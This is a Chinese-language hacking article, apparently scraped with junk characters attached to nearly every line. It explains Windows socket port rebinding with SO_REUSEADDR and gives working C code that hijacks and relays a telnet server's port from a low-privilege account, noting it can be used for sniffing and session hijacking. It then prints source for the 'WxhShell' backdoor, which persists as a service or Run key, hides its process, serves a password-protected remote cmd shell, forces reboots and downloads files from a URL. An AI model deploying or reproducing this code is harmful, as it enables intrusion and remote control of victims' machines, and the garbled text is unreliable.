在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
fXXr+Mor s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
CEXyrs< :@kGAI saddr.sin_family = AF_INET;
{_b%/eR1 mYxuA0/k saddr.sin_addr.s_addr = htonl(INADDR_ANY);
il}%7b- <DMl<KZ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
vh"R'o *Nw&_<\9Q 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
/+8JCp
$iI]MV%= 这意味着什么?意味着可以进行如下的攻击:
QBtnx[ l=]cy-H 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
aY3^C q(r 1)9sf0LyU 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
j;']cWe lwHzj&/ ~ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
$9]m=S UUSq$~Ct 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
u*e.yN i#7DR>XF/ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
WF2}-NU" IKABB W 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
A&s:\3*Kh B,M(@5wz 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
UV5Ie!\nm cYFiJJLG] #include
j H19k}D #include
Acnl^x7Y1 #include
e.]K L(' #include
i7]4W DWORD WINAPI ClientThread(LPVOID lpParam);
t/ +=|* int main()
-0?~ {
7P"| J\ WORD wVersionRequested;
c#a@n 4 DWORD ret;
anIAM WSADATA wsaData;
H:!7: BOOL val;
>G);j@Q SOCKADDR_IN saddr;
g1XZ5P} f SOCKADDR_IN scaddr;
zEs>b(5u int err;
q+P|l5_
t SOCKET s;
aT_&x@x SOCKET sc;
8S>&WR%jH] int caddsize;
([
jF4/ HANDLE mt;
`n$I]_}/% DWORD tid;
%R@X>2l/_ wVersionRequested = MAKEWORD( 2, 2 );
7+]=- err = WSAStartup( wVersionRequested, &wsaData );
`^bgUmJ~ if ( err != 0 ) {
D-8O+.@ printf("error!WSAStartup failed!\n");
%T X@I$Ba return -1;
+hn+K1 }
wm]^3qI2 saddr.sin_family = AF_INET;
JXCCTUO #~SP)Ukp //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
1=#q5dZ] /3;4#:Kkw saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
7.C;NT saddr.sin_port = htons(23);
Xua+cVc\y if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
!v X D {
^
s1Q*He printf("error!socket failed!\n");
a-l;vDs return -1;
$"0M U }
HOw-]JSP2 val = TRUE;
vLR~'"`F //SO_REUSEADDR选项就是可以实现端口重绑定的
*\=.<|H Z if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
~GTz:nC* {
u @~JiiC% printf("error!setsockopt failed!\n");
4$qWiG~ return -1;
ELBa}h; }
Wi[ ~fI8^! //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
"J+3w //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
,
FhekaA //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
'6Ay&A3N] CF+_/s#j^ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
.7i` (F) {
Uu!f,L;ty ret=GetLastError();
.%.9n\b printf("error!bind failed!\n");
,stN return -1;
+6UVn\9Q }
At flf2 K listen(s,2);
S>.SSXlM while(1)
#k_HN}B {
$Z|ffc1 caddsize = sizeof(scaddr);
F_Y7@Ei/ //接受连接请求
hQ]H
/+\ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
JAAI_gSR3 if(sc!=INVALID_SOCKET)
HFwN {
BDVHol*g mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
]?3un!o3o if(mt==NULL)
+|bmT {
AgV G`q printf("Thread Creat Failed!\n");
>y.%xK break;
(WK&^,zQn }
[
j3&/ }
`kbSu} CloseHandle(mt);
a["2VY6Eq@ }
&krwf
]| closesocket(s);
N` aF{3[ WSACleanup();
a;QMAd! return 0;
T^T[$26 }
Y|8:;u' DWORD WINAPI ClientThread(LPVOID lpParam)
(4'$y`Z {
P`#Z9 HM4 SOCKET ss = (SOCKET)lpParam;
M&NB/ SOCKET sc;
}:u~K;O87 unsigned char buf[4096];
'|S%aMLZ) SOCKADDR_IN saddr;
(S xR`QP?, long num;
Mu{;vf|j DWORD val;
Nc+,&R13m DWORD ret;
o4*+T8[|5 //如果是隐藏端口应用的话,可以在此处加一些判断
;3\3q1oX //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
w;k):;$ saddr.sin_family = AF_INET;
>Y_*%QGH_ saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
Jd5:{{Lb saddr.sin_port = htons(23);
A,\6nO67 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
k$H%.l;E {
)Psb>'X printf("error!socket failed!\n");
%^I88,$&L return -1;
]l'Y'z,} }
cgl*t+o& val = 100;
9AxCiT. if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
w=^`w:5X {
C0S^h<iSe* ret = GetLastError();
w"OP8KA:^T return -1;
L3G \ }
M9y<t' if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
TUHi5K {
Kw8u`$Ad7 ret = GetLastError();
A|L 8P return -1;
slg ]#Dy }
HPb]Zj if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
,$'])A?$ {
GP&vLt51 printf("error!socket connect failed!\n");
NZ/yBOD( closesocket(sc);
J9\a{c;. closesocket(ss);
9cEv&3 return -1;
?[)}l9 }
TF 'U while(1)
<$ F\Nk|x {
yY[<0|o u //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
JJ{9U(`_y6 //如果是嗅探内容的话,可以再此处进行内容分析和记录
(FJ9-K0b{n //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
L=q+|j1> num = recv(ss,buf,4096,0);
p98~&\QT if(num>0)
$BFvF
,n send(sc,buf,num,0);
?t+5s] else if(num==0)
:um|nRwy9 break;
X{we/'> num = recv(sc,buf,4096,0);
6B@CurgB if(num>0)
YO}1(m send(ss,buf,num,0);
wjh=Q else if(num==0)
Zs}5Smjl;% break;
SB5&A_tr }
td4[[ / closesocket(ss);
abJ"
[ closesocket(sc);
AJSx%?h:6 return 0 ;
qTAc[Ko }
~mO62(8m ep=qf/vd< ~=KJzOS,S ==========================================================
Ee@4 %/v >nw++[K_ 下边附上一个代码,,WXhSHELL
n>A98NQ 2Fz|fW_ ==========================================================
VxY+h`4# (y?ITz9 #include "stdafx.h"
=QK$0r]c'k wMdal:n^ #include <stdio.h>
GrTulN? #include <string.h>
`)T~psT #include <windows.h>
es>W$QKlo #include <winsock2.h>
em\ 9'L^ #include <winsvc.h>
Ea?XT&, #include <urlmon.h>
W - Mz1G5xcl #pragma comment (lib, "Ws2_32.lib")
?V}j`r8|\4 #pragma comment (lib, "urlmon.lib")
_UT$,0u_i -s|}Rh?Y #define MAX_USER 100 // 最大客户端连接数
qNm$Fx #define BUF_SOCK 200 // sock buffer
-jn WZ5. #define KEY_BUFF 255 // 输入 buffer
x5QaM.+=J '0\@Mc U] #define REBOOT 0 // 重启
Pt&(npjN, #define SHUTDOWN 1 // 关机
4'6`Ll|iq o99pHW(E #define DEF_PORT 5000 // 监听端口
^)?d6nI #7ov#_2Jd #define REG_LEN 16 // 注册表键长度
63.wL0~ #define SVC_LEN 80 // NT服务名长度
c\ia6[3sX B 9T!j]' // 从dll定义API
Rb%%?*| typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
cuK,X!O typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
zCOgBT~p typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
X^\>:< typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
t9Y=m6 cwm_nQKk // wxhshell配置信息
b:R-mg.VT{ struct WSCFG {
o/C\d$i' int ws_port; // 监听端口
{q<03d~9|G char ws_passstr[REG_LEN]; // 口令
zOV=9"~{ int ws_autoins; // 安装标记, 1=yes 0=no
2-"0 ^n{ char ws_regname[REG_LEN]; // 注册表键名
;U<rc'qE char ws_svcname[REG_LEN]; // 服务名
Iw<j T|y) char ws_svcdisp[SVC_LEN]; // 服务显示名
@^;j)%F} char ws_svcdesc[SVC_LEN]; // 服务描述信息
N? 5x9duK char ws_passmsg[SVC_LEN]; // 密码输入提示信息
=7m}yDs6$ int ws_downexe; // 下载执行标记, 1=yes 0=no
Q 2A7mGN char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
i~3u>CT char ws_filenam[SVC_LEN]; // 下载后保存的文件名
3d-%>?-ee hzI|A~MFB };
,o^y`l {tThy# // default Wxhshell configuration
52.>+GC struct WSCFG wscfg={DEF_PORT,
S.Z9$k% "xuhuanlingzhe",
M[ z)6. 1,
fM #7 y [ "Wxhshell",
UG'bOF4 "Wxhshell",
Wm H~m k" "WxhShell Service",
F q!fWl "Wrsky Windows CmdShell Service",
y!5$/`AF "Please Input Your Password: ",
(ewe"N+ 1,
kPQtQh]y% "
http://www.wrsky.com/wxhshell.exe",
}U
SC1J "Wxhshell.exe"
aA'|Rg, };
Oky**B[D' FSRm| // 消息定义模块
u7xDau(c char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
rJa$9B*^ char *msg_ws_prompt="\n\r? for help\n\r#>";
16L]=&@ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
50
A^bbid char *msg_ws_ext="\n\rExit.";
T \CCF char *msg_ws_end="\n\rQuit.";
>Bs#Xb_B] char *msg_ws_boot="\n\rReboot...";
%lX%8Z$v char *msg_ws_poff="\n\rShutdown...";
k"g._|G char *msg_ws_down="\n\rSave to ";
G[8in 49d@! char *msg_ws_err="\n\rErr!";
K_
lVISBQ char *msg_ws_ok="\n\rOK!";
`fNG$ODL t6BHGX{o char ExeFile[MAX_PATH];
\`, [)` int nUser = 0;
bsd99-_(4 HANDLE handles[MAX_USER];
Dw7vv]+ S int OsIsNt;
yQ3OL# &QG6!`fK}3 SERVICE_STATUS serviceStatus;
VdP`a(Yd; SERVICE_STATUS_HANDLE hServiceStatusHandle;
i/b'4o=8 XX1Il;1G# // 函数声明
Iyd?|f" int Install(void);
T~fmk
f$ int Uninstall(void);
%+ FG ,d int DownloadFile(char *sURL, SOCKET wsh);
DI`%zLDcY int Boot(int flag);
,-+"^> void HideProc(void);
j
F-v%? int GetOsVer(void);
X[2[!)Rk int Wxhshell(SOCKET wsl);
1xU3#b&2tC void TalkWithClient(void *cs);
6{,HiY int CmdShell(SOCKET sock);
En&5)c+js4 int StartFromService(void);
k'$!(*]\b int StartWxhshell(LPSTR lpCmdLine);
bln/1iS q~L^au8 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
w_ {,<[# VOID WINAPI NTServiceHandler( DWORD fdwControl );
~Ph\Sbp @$"L:1_ // 数据结构和表定义
)HD`O~M> SERVICE_TABLE_ENTRY DispatchTable[] =
`:O\dN>ON {
J(#mtj>v_ {wscfg.ws_svcname, NTServiceMain},
JbO ~n
)%x {NULL, NULL}
]#/4Y_d };
}tPk@$ m^_6:Q0F!8 // 自我安装
'!P"xBVAu int Install(void)
YUQtMf9 {
mR8W]'gl.L char svExeFile[MAX_PATH];
N$TL;T> HKEY key;
;pD)m/$h` strcpy(svExeFile,ExeFile);
q!f1~ aG s4 %(>Q // 如果是win9x系统,修改注册表设为自启动
rdnRBFt if(!OsIsNt) {
CSV;+,Vv if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
+,50qN:%[ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
mp~{W RegCloseKey(key);
`.#@@5e if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
hI pKJ&hm RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
F?m?UQS'u RegCloseKey(key);
zq1mmFIO return 0;
hh~n#7w~IR }
FuX 8v }
dY"}\v6 }
~|wos-nM else {
i)Lp7m z [!^-J}^g~\ // 如果是NT以上系统,安装为系统服务
V@d)?T SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
PuxK?bwC if (schSCManager!=0)
k>E`s<3 {
|3K)$.6~ SC_HANDLE schService = CreateService
.$",
*d (
yMLOUUWa8x schSCManager,
>QHo@Zqj( wscfg.ws_svcname,
Gg\G'QU wscfg.ws_svcdisp,
XT,#g-oi SERVICE_ALL_ACCESS,
7ou46v|m5 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
VGw(6`|! SERVICE_AUTO_START,
:)jJge&^p SERVICE_ERROR_NORMAL,
@c'|Iqy` svExeFile,
.bf<<+'o NULL,
9kKnAf4Z NULL,
D\^WXY5e%y NULL,
tvX>{-M NULL,
*m+5Pr`7 NULL
A>NsKWf{ );
Je4Z(kj 0 if (schService!=0)
xx*2?i {
&X`u9 V CloseServiceHandle(schService);
5j"1z1_& CloseServiceHandle(schSCManager);
SbsouGD,{ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
'mdM q=VI strcat(svExeFile,wscfg.ws_svcname);
.Qt4&B if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
Bn]K+h\E RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
7:h!Wj-a] RegCloseKey(key);
,J mbqOV?! return 0;
`-B+JQmen }
n,P5o_^: }
iy\KzoB CloseServiceHandle(schSCManager);
1 7hTr }
d~ng6pA }
nY `2uN~9 #>@z
2K7 return 1;
v_PdOp[
k }
L6
6-LMkH +TN9ujL6@ // 自我卸载
tJ&5tNl int Uninstall(void)
A%Z)wz{ {
7s'- +~ HKEY key;
$e\N+~KNCy %@ mGK8 if(!OsIsNt) {
i(2y:U3[@ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
Z\>, ),O RegDeleteValue(key,wscfg.ws_regname);
cJn HW RegCloseKey(key);
mnF}S5[9 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
P\~{3U RegDeleteValue(key,wscfg.ws_regname);
vxN0,l RegCloseKey(key);
Cd#E"dY6 return 0;
q]4pEip }
K2'O]# }
Jd
3@cLCe- }
3+OsjZ else {
PfW|77 kpfwqHT SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
"oc$ if (schSCManager!=0)
FE5Q?*Ea {
N4^5rrkL SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
0vs0*;F; if (schService!=0)
(7$$; {
}dSFAKI2dM if(DeleteService(schService)!=0) {
j!#OG CloseServiceHandle(schService);
CfT/R/L CloseServiceHandle(schSCManager);
f1{z~i9@$ return 0;
H*e'Cs/ }
;~zNqdlH CloseServiceHandle(schService);
"Q+83adY4x }
s<T?pH CloseServiceHandle(schSCManager);
((DzUyK }
X=p"5hhfn }
$v;dV@tB P-z`c\Rt return 1;
!FG%2L4?,5 }
]j.k?P$U} K <`>O,
F // 从指定url下载文件
S0@T0y# int DownloadFile(char *sURL, SOCKET wsh)
LZ~`29qw( {
~o15#Pfn/ HRESULT hr;
T|'&K:[TJ char seps[]= "/";
l\q}
|o char *token;
)ctr"&- char *file;
>w'$1tc?+F char myURL[MAX_PATH];
Ya4?{2h@+ char myFILE[MAX_PATH];
M^SuV 2M6dMvS strcpy(myURL,sURL);
sy<iKCM\ token=strtok(myURL,seps);
ahIE;Y\j' while(token!=NULL)
mVH,HqsXa {
H:oQ file=token;
SX+RBVZU token=strtok(NULL,seps);
#n})X,ip2 }
66ohmP@04Z ^7XAw:
? GetCurrentDirectory(MAX_PATH,myFILE);
d!{7r7ob\ strcat(myFILE, "\\");
:\}U9QfCw strcat(myFILE, file);
#1Z7R/ send(wsh,myFILE,strlen(myFILE),0);
-l*A send(wsh,"...",3,0);
\aSz2lxEHn hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
ZCiY,;c if(hr==S_OK)
oK Kz 4 return 0;
)+~E8yK else
9Vh_[^bR return 1;
3o8\/-*< Y)p4]>lT+8 }
Gbb\h INNAYQ // 系统电源模块
f]_mzF=& int Boot(int flag)
w7Dt1axB {
G%hO\EO HANDLE hToken;
wly>H]i' TOKEN_PRIVILEGES tkp;
8$~3r a jUY+3"?
if(OsIsNt) {
( tn<
VK. OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
wGXwzU LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
B?(4f2yE tkp.PrivilegeCount = 1;
oX|?:MS: tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
QrS$P09=\ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
__)qw# if(flag==REBOOT) {
nm):SEkC if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
5H.Db return 0;
i>GdRG&q }
T\3 [F%? else {
sc xLB; if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
W^R'@ return 0;
ba&o;BLUy }
BlaJl[P iv }
B7 c[4 else {
.Ty,_3+{#p if(flag==REBOOT) {
Vipp /WV if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
~%P3Pp return 0;
e[4V%h }
j.&
;c'V$. else {
>h7$v~nra if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
T&/_e
return 0;
nLd~2qBuv }
&z ksRX }
NV~vuC Zz")`hUG return 1;
tp+=0k2i }
<IH*\q:7 )0|):g // win9x进程隐藏模块
pTET%)3 void HideProc(void)
Wm>b3: {
Q7k.+2 "_)|8|gN HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
#JS`e_3Rr if ( hKernel != NULL )
1f;or_f#k? {
u+DX$#-n!] pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
j |td,82. ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
5B|,S1b FreeLibrary(hKernel);
hho%~^bn( }
jZ#UUnR% (6-y+LG return;
Lh!z>IWjOG }
,aO@.<" Mdm0g // 获取操作系统版本
|8'B/
p= int GetOsVer(void)
s!`H {
T9y768% OSVERSIONINFO winfo;
uN(b.5y winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
^2JPyyZa GetVersionEx(&winfo);
#S*pD?VZ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
^BNp`x;;` return 1;
AA.Ys89V else
x\]z j! return 0;
SJ[AiHR }
j!CU TU-c9"7M~ // 客户端句柄模块
MA"#rOcP int Wxhshell(SOCKET wsl)
eaxfn]gV {
fp-m.d:| SOCKET wsh;
/=ACdJ struct sockaddr_in client;
Wx k;g DWORD myID;
*#GDi'0 ?&\h;11T while(nUser<MAX_USER)
U%,;N\:_ {
#'iPDRYy int nSize=sizeof(client);
Q>[Ce3 wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
X\'E4 if(wsh==INVALID_SOCKET) return 1;
z.j4tc9F/5 j88=f#< handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
3B -NYJa if(handles[nUser]==0)
xfes_v"" closesocket(wsh);
ooDdV
> else
O&= KlnI: nUser++;
FdM<;}6T }
g~|y$T WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
R9q0,yQW ;x16shH
return 0;
!c." }
<L2GUX36# -O /T?H // 关闭 socket
"W hwc void CloseIt(SOCKET wsh)
~R$[n.Vpk {
XK3!V|y` closesocket(wsh);
bZK+9IR nUser--;
YPG,9iZ&f ExitThread(0);
<oZ(n g@X }
cp|:8 [ qr9Imr0w< // 客户端请求句柄
W0U`Kt&~a void TalkWithClient(void *cs)
/t$*W\PL@ {
niQ+EAD i<bxc SOCKET wsh=(SOCKET)cs;
r:.6"VQu} char pwd[SVC_LEN];
U(P:J e char cmd[KEY_BUFF];
Z$1.^H.Db char chr[1];
)ph30B int i,j;
oFb\TiLu &b!vWX1N while (nUser < MAX_USER) {
L2<+#O# Mc!2mE%47m if(wscfg.ws_passstr) {
),MU+*` if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
XnPJC' //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
=>e?l8`% //ZeroMemory(pwd,KEY_BUFF);
'Z59<Y a&x i=0;
f>O54T .L. while(i<SVC_LEN) {
<3)|44.o& k+f1sV[4} // 设置超时
t[/\KG8 fd_set FdRead;
y~x#pC*w struct timeval TimeOut;
|1lf(\T_ FD_ZERO(&FdRead);
87+.pM|t% FD_SET(wsh,&FdRead);
F:M/z#:~ TimeOut.tv_sec=8;
n$IWoIdbGN TimeOut.tv_usec=0;
tI"wVr int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
h)7v1,;w' if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
$1b]xQ 7KeXWW/ d if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
!,Qm pwd
=chr[0]; SQKi2\8w
if(chr[0]==0xd || chr[0]==0xa) { ~d&'Lp[3
pwd=0; u"*J[M~
break; ^M[#^wv,
} =A$Lgk>|
i++; GA(OK-WUd
} 4P`PmQ=GQh
8I<_w4fC
// 如果是非法用户,关闭 socket [y_yPOv
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 'lxLnX
} }!eF
\moZ6J
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); !p-'t]
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); sWp{Y.
f%vHx,
while(1) { =_K%$y*
IES41y<
ZeroMemory(cmd,KEY_BUFF); 8y-e+
jkZ_c!
// 自动支持客户端 telnet标准 >F,$;y52
j=0; OY+!aG@.
while(j<KEY_BUFF) { !}z%#$
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )lQN)!.)
cmd[j]=chr[0]; 0T7M_G'5Q
if(chr[0]==0xa || chr[0]==0xd) { u![4=w
cmd[j]=0; FP.(E9
break; <GSQ2bX[
} ww-XMz h
j++; JqL<$mSep
} <ur KIu
T_3V/)%@
// 下载文件 }P05eI
if(strstr(cmd,"http://")) { Fsnw3/Nr
send(wsh,msg_ws_down,strlen(msg_ws_down),0); 3s3a>
if(DownloadFile(cmd,wsh)) 58M'r{8_
send(wsh,msg_ws_err,strlen(msg_ws_err),0); I[tAT[ <
else >&*6Fqd
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0Ei\VVK>
} LBW.*PHW
else { z~GVvgd
e_YW~z=6t
switch(cmd[0]) { ]R97n|s_
=~,$V<+c
// 帮助 %{N>c:2I$
case '?': { Rh!L'?C
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); emGV]A%nss
break; ;:v]NZtc
} Q,[rrG;?@
// 安装 }~7H2d);-
case 'i': { p*A^0DN'Fn
if(Install()) e}{8a9J<%_
send(wsh,msg_ws_err,strlen(msg_ws_err),0); .t"n]X i
else >l7eoj
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); d)`nxnbMeM
break; Yt\E/*%
} YR$tPe
// 卸载 .d<~a1k
case 'r': { P58\+9d_
if(Uninstall()) jrDz7AfA
send(wsh,msg_ws_err,strlen(msg_ws_err),0); rU/-Wq`B
else 4v rm&k
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #R~">g:w
break; g_3rEvf"4
} jEC'l]l
// 显示 wxhshell 所在路径 TKj/6Jz|
case 'p': { ui s:\Uc
char svExeFile[MAX_PATH]; T=hm#]
strcpy(svExeFile,"\n\r"); 'US:Mr3
strcat(svExeFile,ExeFile); aRFi0h
\
send(wsh,svExeFile,strlen(svExeFile),0); ucIVVT(u
break; T{5M1r
} 31
KDeFg
// 重启 @c.11nfn`
case 'b': { $bF`PGR_
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); YHwVj?6W
if(Boot(REBOOT)) BDv|~NHs
send(wsh,msg_ws_err,strlen(msg_ws_err),0); eZa3K3^
else { &4ug3
closesocket(wsh); !?tu!
M<1?
ExitThread(0); ?M*C*/R
} 6/p]jN
break; |q1b8A \
} KDNTnA1c
// 关机 KD[)O7hYC
case 'd': { aufcd57
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); b;&Yw-\nZ;
if(Boot(SHUTDOWN)) `Gy>tD.#V-
send(wsh,msg_ws_err,strlen(msg_ws_err),0); XnNOj>!
else { Z_eqM4{
closesocket(wsh); Mt7X<?GZm
ExitThread(0); #R"9)vHp
} ]5qjK~,4b
break; brpN>\
} [A.eVuV;+
// 获取shell Rx_,J%0Fq
case 's': { QjW~6Z.tI
CmdShell(wsh); *YiD B?Si
closesocket(wsh); H4K(SGx
ExitThread(0); m \R@.jkZ
break; (o6A?37i
} K4K3<Pg
// 退出 Q@3ld6y
case 'x': { AOvH&9**
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Z.cG`Km*
CloseIt(wsh); LiHXWi{s
break; 3V8j>&
} b_)QBE9
// 离开 {4V:[*3
case 'q': { &L[8Mju6
send(wsh,msg_ws_end,strlen(msg_ws_end),0); <9MQ
closesocket(wsh); n]6w)wE(
WSACleanup(); gvwCoCbb
exit(1); 9e :d2
break; MO(5-R`
} MRxo|A{
}
t`&s
} DI"dY
ug#
HeAc(_=C
// 提示信息 `siy!R
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $)i"[
} 0lJBtk9wn
} N|^!"/
5u=U--
return; 1nX68fS.9
} SquqaX+<
Z)Xq!]~/g
// shell模块句柄 pqNoL*
H
int CmdShell(SOCKET sock) sVZ}nq{
{
# 8-P
STARTUPINFO si; 6=[ PJM
ZeroMemory(&si,sizeof(si)); (t]R#2{
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; '
m#Ymp
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; '&o>
%V
PROCESS_INFORMATION ProcessInfo; ]>]H:NEq
char cmdline[]="cmd"; ;Vtpq3
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); im^I9G
return 0; .jG.90
} 8)2u@sx%
ES:p^/ =*
// 自身启动模式 *^&iw$Qx3
int StartFromService(void) qkyX*_}
{ EZNB`gO
typedef struct cR@}
{ T J"{nB
DWORD ExitStatus; :[$i~V
DWORD PebBaseAddress; *TMM:w|1
